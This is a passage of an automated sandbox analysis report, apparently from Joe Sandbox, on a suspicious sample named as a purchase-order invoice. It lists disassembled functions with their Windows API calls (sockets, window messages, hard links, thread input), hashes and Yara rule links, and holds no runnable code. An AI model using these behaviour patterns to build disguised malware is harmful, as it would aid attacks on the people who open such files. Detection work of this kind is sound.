                                                                                            • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                                            • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                            • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                                            Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ClearVariant
                                                                                            • String ID:
                                                                                            • API String ID: 1473721057-0
                                                                                            • Opcode ID: 864e75c6b64c8395072179653f2e6e54ed688e1196af63861ce1262d91a289fa
                                                                                            • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                            • Opcode Fuzzy Hash: 864e75c6b64c8395072179653f2e6e54ed688e1196af63861ce1262d91a289fa
                                                                                            • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                            Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __flush.LIBCMT ref: 00414630
                                                                                            • __fileno.LIBCMT ref: 00414650
                                                                                            • __locking.LIBCMT ref: 00414657
                                                                                            • __flsbuf.LIBCMT ref: 00414682
                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                            • String ID:
                                                                                            • API String ID: 3240763771-0
                                                                                            • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                            • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                            • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                            • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                            Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                            • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                            • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                            • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CopyVariant$ErrorLast
                                                                                            • String ID:
                                                                                            • API String ID: 2286883814-0
                                                                                            • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                            • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                            • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                            • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                            Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                            • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                            • #21.WSOCK32 ref: 004740E0
                                                                                            • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$socket
                                                                                            • String ID:
                                                                                            • API String ID: 1881357543-0
                                                                                            • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                            • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                            • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                            • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                            Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                            • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                            • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                            • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Rect$BeepClientMessageScreenWindow
                                                                                            • String ID:
                                                                                            • API String ID: 1352109105-0
                                                                                            • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                            • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                            • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                            • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                            Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                            • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                            • String ID:
                                                                                            • API String ID: 3058430110-0
                                                                                            • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                            • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                            • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                            • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                            Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                            • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                            • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                            • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                            • String ID:
                                                                                            • API String ID: 3321077145-0
                                                                                            • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                            • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                            • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                            • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                            Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetParent.USER32(?), ref: 004505BF
                                                                                            • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                            • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                            • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Proc$Parent
                                                                                            • String ID:
                                                                                            • API String ID: 2351499541-0
                                                                                            • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                            • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                            • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                            • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                            Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                            • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                            • __itow.LIBCMT ref: 00461461
                                                                                            • __itow.LIBCMT ref: 004614AB
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$__itow$_wcslen
                                                                                            • String ID:
                                                                                            • API String ID: 2875217250-0
                                                                                            • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                            • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                            • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                            • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                            Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetForegroundWindow.USER32 ref: 00472806
                                                                                              • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                              • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                              • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                            • GetCaretPos.USER32(?), ref: 0047281A
                                                                                            • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                            • GetForegroundWindow.USER32 ref: 0047285C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                            • String ID:
                                                                                            • API String ID: 2759813231-0
                                                                                            • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                            • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                            • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                            • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                            Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                            • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                            • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                            • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Long$AttributesLayered
                                                                                            • String ID:
                                                                                            • API String ID: 2169480361-0
                                                                                            • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                            • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                            • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                            • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                            Function 00448C8B Relevance: 6.1, APIs: 4, Instructions: 73windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32 ref: 00448CB8
                                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                            • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                            • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$LongWindow
                                                                                            • String ID:
                                                                                            • API String ID: 312131281-0
                                                                                            • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                            • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                            • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                            • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                            Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • select.WSOCK32 ref: 0045890A
                                                                                            • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                            • accept.WSOCK32(00000000,00000000,00000000), ref: 00458927
                                                                                            • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLastacceptselect
                                                                                            • String ID:
                                                                                            • API String ID: 385091864-0
                                                                                            • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                            • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                            • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                            • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                            Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend
                                                                                            • String ID:
                                                                                            • API String ID: 3850602802-0
                                                                                            • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                            • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                            • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                            • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                            Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                            • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                            • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                            • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$CreateMessageObjectSendShowStock
                                                                                            • String ID:
                                                                                            • API String ID: 1358664141-0
